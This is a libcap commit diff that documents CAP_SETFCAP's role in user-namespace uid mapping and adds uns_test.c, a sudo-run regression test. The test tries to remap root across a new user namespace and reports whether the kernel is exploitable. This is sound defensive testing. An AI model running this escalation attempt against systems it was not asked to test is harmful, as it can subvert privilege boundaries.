diff options
-rw-r--r-- | cap/names.go | 5 | ||||
-rw-r--r-- | doc/values/31.txt | 5 | ||||
-rw-r--r-- | progs/capshdoc.h | 5 | ||||
-rw-r--r-- | tests/.gitignore | 1 | ||||
-rw-r--r-- | tests/Makefile | 29 | ||||
-rw-r--r-- | tests/uns_test.c | 154 |
6 files changed, 188 insertions, 11 deletions
diff --git a/cap/names.go b/cap/names.go index fefb4a4..c082d28 100644 --- a/cap/names.go +++ b/cap/names.go @@ -259,6 +259,11 @@ const ( AUDIT_CONTROL // SETFCAP allows a process to set capabilities on files. + // Permits a process to uid_map the uid=0 of the + // parent user namespace into that of the child + // namespace. Also, permits a process to override + // securebits locks through user namespace + // creation. SETFCAP // MAC_OVERRIDE allows a process to override Manditory Access Control diff --git a/doc/values/31.txt b/doc/values/31.txt index 163b048..ae97df2 100644 --- a/doc/values/31.txt +++ b/doc/values/31.txt @@ -1 +1,6 @@ Allows a process to set capabilities on files. +Permits a process to uid_map the uid=0 of the +parent user namespace into that of the child +namespace. Also, permits a process to override +securebits locks through user namespace +creation. diff --git a/progs/capshdoc.h b/progs/capshdoc.h index efe4797..79953b3 100644 --- a/progs/capshdoc.h +++ b/progs/capshdoc.h @@ -276,6 +276,11 @@ static const char *explanation30[] = { /* cap_audit_control = 30 */ }; static const char *explanation31[] = { /* cap_setfcap = 31 */ "Allows a process to set capabilities on files.", + "Permits a process to uid_map the uid=0 of the", + "parent user namespace into that of the child", + "namespace. Also, permits a process to override", + "securebits locks through user namespace", + "creation.", NULL }; static const char *explanation32[] = { /* cap_mac_override = 32 */ diff --git a/tests/.gitignore b/tests/.gitignore index ac7ffb0..d0b3f15 100644 --- a/tests/.gitignore +++ b/tests/.gitignore @@ -5,3 +5,4 @@ libcap_launch_test libcap_psx_launch_test exploit noexploit +uns_test diff --git a/tests/Makefile b/tests/Makefile index 1e7039d..3a917c4 100644 --- a/tests/Makefile +++ b/tests/Makefile @@ -8,9 +8,9 @@ include ../Make.Rules # all: - make libcap_launch_test + $(MAKE) libcap_launch_test uns_test ifeq ($(PTHREADS),yes) - make psx_test libcap_psx_test libcap_psx_launch_test + $(MAKE) psx_test libcap_psx_test libcap_psx_launch_test endif install: all @@ -30,31 +30,32 @@ endif endif ../libcap/libcap.so: - make -C ../libcap libcap.so + $(MAKE) -C ../libcap libcap.so ../libcap/libcap.a: - make -C ../libcap libcap.a + $(MAKE) -C ../libcap libcap.a ifeq ($(PTHREADS),yes) ../libcap/libpsx.so: - make -C ../libcap libpsx.so + $(MAKE) -C ../libcap libpsx.so ../libcap/libpsx.a: - make -C ../libcap libpsx.a + $(MAKE) -C ../libcap libpsx.a endif ../progs/tcapsh-static: - make -C ../progs tcapsh-static + $(MAKE) -C ../progs tcapsh-static test: ifeq ($(PTHREADS),yes) - make run_psx_test run_libcap_psx_test + $(MAKE) run_psx_test run_libcap_psx_test endif sudotest: test - make run_libcap_launch_test + $(MAKE) run_uns_test + $(MAKE) run_libcap_launch_test ifeq ($(PTHREADS),yes) - make run_libcap_psx_launch_test run_exploit_test + $(MAKE) run_libcap_psx_launch_test run_exploit_test endif # unprivileged @@ -71,6 +72,12 @@ libcap_psx_test: libcap_psx_test.c $(DEPS) $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LIBPSXLIB) $(LDFLAGS) # privileged +uns_test: uns_test.c $(DEPS) + $(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LDFLAGS) + +run_uns_test: uns_test + echo exit | sudo ./uns_test + run_libcap_launch_test: libcap_launch_test noop ../progs/tcapsh-static sudo ./libcap_launch_test @@ -111,6 +118,6 @@ noop: noop.c $(CC) $(CFLAGS) $< -o $@ --static clean: - rm -f psx_test libcap_psx_test libcap_launch_test *~ + rm -f psx_test libcap_psx_test libcap_launch_test uns_test *~ rm -f libcap_launch_test libcap_psx_launch_test core noop rm -f exploit noexploit exploit.o diff --git a/tests/uns_test.c b/tests/uns_test.c new file mode 100644 index 0000000..43470cf --- /dev/null +++ b/tests/uns_test.c @@ -0,0 +1,154 @@ +/* + * Try unsharing where we remap the root user by rotating uids (0,1,2) + * and the corresponding gids too. + */ + +#define _GNU_SOURCE + +#include <errno.h> +#include <sched.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/capability.h> +#include <sys/mman.h> +#include <sys/prctl.h> +#include <sys/wait.h> +#include <unistd.h> + +#define STACK_RESERVED 10*1024 + +struct my_pipe { + int to[2]; + int from[2]; +}; + +static int child(void *data) { + struct my_pipe *fdsp = data; + static const char * const args[] = {"bash", NULL}; + + close(fdsp->to[1]); + close(fdsp->from[0]); + if (write(fdsp->from[1], "1", 1) != 1) { + fprintf(stderr, "failed to confirm setuid(1)\n"); + exit(1); + } + close(fdsp->from[1]); + + char datum[1]; + if (read(fdsp->to[0], datum, 1) != 1) { + fprintf(stderr, "failed to wait for parent\n"); + exit(1); + } + close(fdsp->to[0]); + if (datum[0] == '!') { + /* parent failed */ + exit(0); + } + + setsid(); + + execv("/bin/bash", (const void *) args); + perror("execv failed"); + exit(1); +} + +int main(int argc, char **argv) +{ + static const char *file_formats[] = { + "/proc/%d/uid_map", + "/proc/%d/gid_map" + }; + static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n"; + cap_value_t fscap = CAP_SETFCAP; + cap_t orig = cap_get_proc(); + + /* Run with this one lowered */ + cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR); + + struct my_pipe fds; + if (pipe(&fds.from[0]) || pipe(&fds.to[0])) { + perror("no pipes"); + exit(1); + } + + char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE, + MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0); + if (stack == MAP_FAILED) { + perror("no map for stack"); + exit(1); + } + + if (cap_setuid(1)) { + perror("failed to cap_setuid(1)"); + exit(1); + } + + if (cap_set_proc(orig)) { + perror("failed to raise caps again"); + exit(1); + } + + pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds); + if (pid == -1) { + perror("clone failed"); + exit(1); + } + + close(fds.from[1]); + close(fds.to[0]); + + if (cap_setuid(0)) { + perror("failed to cap_setuid(0)"); + exit(1); + } + + if (cap_set_proc(orig)) { + perror("failed to raise caps again"); + exit(1); + } + + char datum[1]; + if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') { + fprintf(stderr, "failed to read child status\n"); + exit(1); + } + close(fds.from[0]); + + for (int i=0; i<2; i++) { + char *map_file; + if (asprintf(&map_file, file_formats[i], pid) < 0) { + perror("allocate string"); + exit(1); + } + + FILE *f = fopen(map_file, "w"); + free(map_file); + if (f == NULL) { + perror("fopen failed"); + exit(1); + } + int len = fwrite(id_map, 1, strlen(id_map), f); + if (len != strlen(id_map)) { + goto bailok; + } + if (fclose(f)) { + goto bailok; + } + } + + write(fds.to[1], ".", 1); + close(fds.to[1]); + + fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n"); + if (wait(NULL) == pid) { + exit(1); + } + perror("launch failed"); + exit(1); + +bailok: + fprintf(stderr, "exploit attempt failed\n"); + write(fds.to[1], "!", 1); + exit(0); +} |